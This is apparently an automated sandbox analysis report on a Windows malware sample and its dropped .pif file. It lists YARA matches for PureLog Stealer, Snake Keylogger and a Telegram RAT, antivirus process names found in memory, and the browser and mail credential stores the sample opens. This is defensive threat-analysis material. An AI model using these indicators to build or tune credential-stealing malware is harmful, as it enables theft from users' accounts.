Source: C:\Users\Public\Libraries\yihfsboC.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\Public\alpha.pif Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B1920C GetLocalTime, 0_2_02B1920C
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B1B78C GetVersionExA, 0_2_02B1B78C
Source: C:\Users\Public\Libraries\yihfsboC.pif Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: cmdagent.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: quhlpsvc.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: avgamsvr.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: TMBMSRV.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: Vsserv.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: avgupsvc.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: avgemc.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected PureLog Stealer
Source: Yara match File source: 26.2.yihfsboC.pif.2b4c0000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.2ae90f08.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.3.yihfsboC.pif.327be688.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.34860000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.34860000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.2ae90000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.25d6b98e.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.29915570.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.35955570.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.285a0f08.13.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.3598e790.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.35956478.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.2994e790.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.285a0000.14.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.34690000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.285db98e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.342dc896.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.3.yihfsboC.pif.268cecc8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.35955570.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.2994e790.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.3.yihfsboC.pif.268cecc8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.34690f08.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.28be0000.15.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.29916478.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.3598e790.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.285a0000.14.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.29916478.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.2709e790.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.25d6c896.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.285dc896.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.2ae90f08.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.27065570.11.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.342db98e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.285dc896.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.2ae90000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.3.yihfsboC.pif.327be688.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.35956478.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.285db98e.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.34690000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.2b4c0000.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.27066478.12.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.34690f08.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.25d6b98e.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.342db98e.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.342dc896.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.3.yihfsboC.pif.24219998.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.2709e790.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.27065570.11.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.3.yihfsboC.pif.24219998.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.29915570.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000003.1465818240.00000000327BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2540746609.0000000027061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2532622056.000000002859B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000003.1357241369.0000000024219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2537622019.0000000029911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2535779078.0000000025D2B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2540455156.000000003429B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000003.1551837223.00000000268CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2546648768.0000000035951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Yara detected Snake Keylogger
Source: Yara match File source: 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.00000000260EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.0000000026535000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2533591544.0000000028A96000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034B53000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.00000000263C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2533591544.0000000028A32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034A76000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.00000000260FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034ADA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR
Yara detected Telegram RAT
Source: Yara match File source: 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\Public\Libraries\yihfsboC.pif File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\Public\Libraries\yihfsboC.pif File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\Public\Libraries\yihfsboC.pif File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\ Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\Public\Libraries\yihfsboC.pif Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\Public\Libraries\yihfsboC.pif File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\Public\Libraries\yihfsboC.pif Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Yara detected Credential Stealer
Source: Yara match File source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected PureLog Stealer
Source: Yara match File source: 26.2.yihfsboC.pif.2b4c0000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.2ae90f08.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.3.yihfsboC.pif.327be688.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.34860000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.34860000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.2ae90000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.25d6b98e.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.29915570.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.35955570.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.285a0f08.13.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.3598e790.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.35956478.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.2994e790.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.285a0000.14.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.34690000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.285db98e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.342dc896.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.3.yihfsboC.pif.268cecc8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.35955570.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.2994e790.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.3.yihfsboC.pif.268cecc8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.34690f08.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.28be0000.15.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.29916478.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.3598e790.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.285a0000.14.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.29916478.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.2709e790.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.25d6c896.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.285dc896.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.2ae90f08.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.27065570.11.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.342db98e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.285dc896.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.2ae90000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.3.yihfsboC.pif.327be688.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.35956478.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.285db98e.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.34690000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.2b4c0000.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.27066478.12.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.34690f08.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.25d6b98e.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.342db98e.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.yihfsboC.pif.342dc896.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.3.yihfsboC.pif.24219998.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.2709e790.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.yihfsboC.pif.27065570.11.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.3.yihfsboC.pif.24219998.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.yihfsboC.pif.29915570.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000003.1465818240.00000000327BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2540746609.0000000027061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2532622056.000000002859B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000003.1357241369.0000000024219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2537622019.0000000029911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2535779078.0000000025D2B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2540455156.000000003429B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000003.1551837223.00000000268CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2546648768.0000000035951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Yara detected Snake Keylogger
Source: Yara match File source: 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.00000000260EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.0000000026535000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2533591544.0000000028A96000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
